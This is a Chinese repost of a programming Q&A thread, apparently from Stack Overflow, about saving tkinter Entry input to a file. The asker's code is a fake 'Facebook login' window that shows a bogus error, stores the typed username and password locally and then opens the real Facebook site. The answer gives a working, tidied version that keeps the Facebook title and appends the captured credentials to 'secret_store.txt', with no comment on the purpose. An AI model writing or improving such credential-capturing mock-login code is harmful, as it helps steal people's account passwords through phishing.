如何在tkinter python中保存从条目小部件输入的数据

punnyartha 班纳吉

我写了一个代码,想保存输入的数据,但它显示一个错误

from tkinter import*
from tkinter import messagebox
import webbrowser
win= Tk()
win.title("Facebook login")
lbl=Label(win, text="Please enter your login and password")
lbl.grid(column=5,row=3)
uid=Entry(win,width=30)
pas=Entry(win,width=30)
uid.grid(column=3,row=6)
pas.grid(column=3,row=9)
def click():
messagebox.showinfo('Error ','The following data could not be transferred 
\nPlease login again from the page opening now')
def kill():
    win.destroy()
button1=Button(win,text="Login",command=click)

button1.grid(column=7,row=11)

win.mainloop()

webbrowser.open('https://www.facebook.com/')
id=uid.get()
ps=pas.get()
file=open('D:\\cover.txt','w+')
file.write("username:\t"+win)
file.write("password:\t"+id)

如何将 tk() 转换为字符串或任何其他数据类型,以便我可以存储它谢谢

Reblochon 面具

这是将数据存储在文件中的简化示例(数据附加在文件末尾)

import tkinter as tk


def save_to_file(filename, name='', pw=''):
    with open(filename, 'a') as f:   # 'a' to append to the file, 'r' to overwrite the file
        f.write(name + ', ')
        f.write(pw + '\n')


def login():
    name = uid.get()
    pw = pas.get()
    print('logging in as {uid}, {pw}')
    save_to_file('secret_store.txt', name=name, pw=pw)


if __name__ == '__main__':

    win = tk.Tk()
    win.title("Facebook login")

    lbl = tk.Label(win, text="Please enter your login and password")
    lbl.grid(column=5,row=3)

    uid = tk.Entry(win, width=30)
    pas = tk.Entry(win,width=30)
    uid.grid(column=3,row=6)
    pas.grid(column=3,row=9)

    button1 = tk.Button(win, text="Login", command=login)

    button1.grid(column=7, row=11)

    win.mainloop()

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章

如何从 tkinter 中的条目小部件返回用户输入

如何在 tkinter for python 中保存共享数据?

Tkinter,Python:如何保存在“输入”小部件中输入的文本?如何移动标签?

如何在tkinter中的输入小部件中输出结果

如何根据用户输入在 tkinter 中创建动态条目小部件并将这些条目小部件的输入存储在列表中

在 tkinter 条目小部件中输入的数据包含“NoneType”对象并且没有属性“get”

如何在Web部件中保存自定义表单控件输入数据?

如何在python类中引用Tkinter小部件

Python Tkinter-如何在Canvas中包含小部件?

添加,减去和存储条目小部件的输入值(Tkinter,Python2.7)

禁用条目时如何在tkinter条目小部件中插入值

如何验证python中的条目小部件?

如何在Tkinter中保存信息?

如何在tkinter中保存事件?

Python Tkinter - 保存条目输入

tkinter条目小部件.get无法获取数据

无法显示从sqlite到tkinter条目小部件的查询数据

如何在 tkinter 条目小部件上第二次从用户那里获取值

如何在Tkinter条目小部件中获取选择的开始和结束索引?

无法理解如何在Tkinter中验证条目小部件

如何从Tkinter文本小部件获取输入?

如何从Tkinter文本小部件获取输入?

tkinter 条目小部件的验证

如何在python tkinter中制作输入小部件在按下回车键时给我里面的文本

从 Python Tkinter 条目小部件检查日期格式

Selenium-Python没有从Tkinter条目小部件获取输入-TypeError:类型为'function'的对象没有len()

如何在python(pandas)中保存数据

如何在Tkinter中批量生产输入框小部件?

如何在 Tkinter Text 小部件中限制仅在指定时间内输入文本